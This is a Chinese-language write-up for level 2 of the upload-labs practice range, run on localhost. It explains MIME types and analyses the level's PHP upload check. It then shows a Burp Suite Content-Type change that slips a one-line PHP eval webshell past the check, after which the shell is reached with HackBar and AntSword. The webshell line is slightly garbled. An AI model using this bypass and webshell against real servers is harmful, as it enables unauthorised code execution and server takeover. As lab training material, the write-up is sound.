upload-labs通关笔记-第2关 文件上传之MIME绕过
目录
一、MIME字段
1. MIME 类型的作用
2. 常见的 MIME 类型
二、实验准备
1.构造脚本
2.打开靶场
3.源码分析
三、修改MIME字段渗透法
1.选择shell脚本
2.bp开启拦截
3.上传脚本bp拦包
4.bp改包
5.获取脚本地址
6.获取木马URL
7.hackbar渗透
8.蚁剑渗透
本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第二关文件MIME渗透实战,通过修改MIME字段完成渗透。
一、MIME字段
MIME 类型(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展)最初用于电子邮件系统,后来被广泛用于 HTTP协议,用于标识文件类型。在文件上传攻击中,MIME类型检测是攻击者常绕过的点。
1. MIME 类型的作用
-
浏览器:根据
Content-Type
决定如何处理文件(如显示图片、下载文件、执行脚本)。 -
服务器:用于校验上传文件的类型(如只允许
image/jpeg
)。
2. 常见的 MIME 类型
文件类型 | MIME 类型 |
---|---|
JPEG 图片 | image/jpeg |
PNG 图片 | image/png |
GIF 图片 | image/gif |
PDF 文档 | application/pdf |
ZIP 压缩包 | application/zip |
JavaScript 文件 | application/javascript |
PHP 脚本 | text/x-php (或 application/x-httpd-php ) |
HTML 文件 | text/html |
纯文本文件 | text/plain |
二、实验准备
1.构造脚本
构造文件上传的脚本,内容为获取服务器的php版本信息
<?php @eval($_post_pass02[ljn]); ?>
将脚本命名为ljn_post_pass02.php
Note:特别注意 脚本中符号均为英文符号
2.打开靶场
firefox打开upload-labs靶场的Pass-02文件上传MIME关卡,如下所示。
http://127.0.0.1/upload-labs/Pass-02/index.php
进入文件上传MIME关卡,记得点击“清空上传文件”,这一步手动清空已上传文件,确保此次试验为最新上传结果。
3.源码分析
分析server段源码,并进行详细注释,如下所示服务端通过检查了报文的mime字段来进行过滤,也就是MIME类型白名单。
<?php
// 初始化上传状态和消息变量
$is_upload = false; // 标记文件是否上传成功
$msg = null; // 存储上传过程中的错误或提示信息// 检查用户是否提交了表单(点击了提交按钮)
if (isset($_POST['submit'])) {// 检查上传目录是否存在if (file_exists(UPLOAD_PATH)) {// 检查文件类型是否为允许的图片类型(JPEG、PNG、GIF)if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {// 获取上传的临时文件路径$temp_file = $_FILES['upload_file']['tmp_name'];// 构造目标文件路径(UPLOAD_PATH/原始文件名)$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];// 将临时文件移动到目标目录if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true; // 标记上传成功} else {$msg = '上传出错!'; // 移动文件失败}} else {$msg = '文件类型不正确,请重新上传!'; // 文件类型不符合要求}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; // 上传目录不存在}
}
?>
代码的不安全之处在于两点:
- (1)仅检查了MIME类型,可以通过bp抓包修改绕过。
- (2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。
综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现,故而可以通过如下方法进行渗透。
- Bp改包法1:将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。
- bp改包法2:将脚本改为jpg后缀后上传,使通过前端过滤函数的检查, 然后将报文发送给bp,在bp中将报文改为php后缀并上传到服务器(这个与第一关的bp改包方法一样,本文不再赘述)。
三、修改MIME字段渗透法
1.选择shell脚本
进入到Pass02关卡,浏览选择构造好的脚本。
2.bp开启拦截
firefox开启bp代理,bp设置为inception on。
3.上传脚本bp拦包
点击上传,bp抓包,需要修改content-type。
4.bp改包
将content-type改为image/jpeg,并点击发送,文件上传成功
5.获取脚本地址
脚本上传成功,获取上传一句话木马脚本地址
6.获取木马URL
图片处右键复制图片地址,具体如下所示。
http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php
7.hackbar渗透
上传成功后用hackbar访问脚本
http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php //URL地址
ljn=phpinfo();//Post参数
如下所示使用hackbar渗透的效果,成功获取到php信息
8.蚁剑渗透
上传成功后用蚁剑访问一句话木马
蚁剑shell地址:http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php
密码:ljn
如下所示,提示连接成功。
右键选择文件管理,如下所示渗透成功。